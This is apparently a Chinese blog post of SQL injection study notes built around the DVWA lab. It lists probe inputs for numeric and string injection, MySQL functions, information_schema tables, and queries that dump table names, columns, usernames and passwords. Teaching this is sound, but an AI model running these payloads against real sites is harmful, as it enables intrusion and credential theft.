有关SQL注入的一些小知识点

1.判断注入点：

本质原理是找一个需要后台处理后，提交给数据库的点，我理解为用户可以控制并输入后台数据库的变量，比如我们DVWA SQL injection 的ID ，我们可以通过闭合单引号，#注释掉后面限制语句，16进制转换等方法进行绕过，将我们本应输入的变量变成一条查询语句获取数据库的信息。

一般分为三大类：

   Get参数触发SQL注入
   POST参数触发SQL注入
   Cookie触发SQL注入

判断是数字型还是字符型注入方法

数字型注入：
   1.修改参数为 id = 1’出错，无法正常从数据库查出数据
   2.修改参数为 id = 1 and 1=1 语句执行正常
   3.修改参数为 id = 1 and 1=2 出错，无法正常从数据库查出数据
   通过上面三次输入可以判断出是否为数字型注入（如果有回显页面在第一次输入id=1’报错，报错页面为 '1''之类的多个单引号包含1，可以猜测大概率是字符型注入）

字符型注入：
   1.修改参数为：id = 1’报错
   2.修改参数为：id = 1' and '1' = '1 正常
   3.修改参数为   id = 1' and '1' = '2 报错
这时可以判断为字符型注入，注意字符型注入后面有单引号可以用#等符号注释掉

常用函数：
@@datadir 获取数据库的存储目录

@@version_compile_os 查看服务器的操作系统

user（）查看当前连接数据库的用户

database（）获取当前所连接数据库名函数

version（）查看数据库的版本

concat(str1,str2) 函数合并两个字符串实现无间隔连接str1和str2

concat_ws(separator,str1,str2) 函数用分隔符separator连接两个字符串str1和str2，例如分隔符为- 就实现了str1-str2

group_concat(str1,str2) 函数将多行查询结果以逗号分隔全部输出

group_concat(concat_ws(seperator,str1,str2)) 函数
将多行查询结果以逗号分隔全部输出，每一行的结果可用设置的分隔符作字段的间隔

mysql中的information_schema 结构用来存储数据库系统信息：
1.schemata 存储数据库名
2.schema_name，表示数据库名称
3.tables 存储表名
4.table_schema 表示表所属的数据库名称；
5.table_name 表示表的名称
6.columns 存储字段名的
7.table_schema表示表所属的数据库名称；
8.table_name表示所属的表的名称
9.column_name表示字段名

得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名
select group_concat(column_name) from information_schema.columns where table_name=users

得到用户，密码
select group_concat(usernam,password) from users

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　

　　　　　　　　　　　　　　　　　　　　　　　　　　　不定期更新

　　　　　　　　　　　　　　最后更新于：2020.3.3 10:03　

巴特西

有关SQL注入的一些小知识点

最新文章

热门文章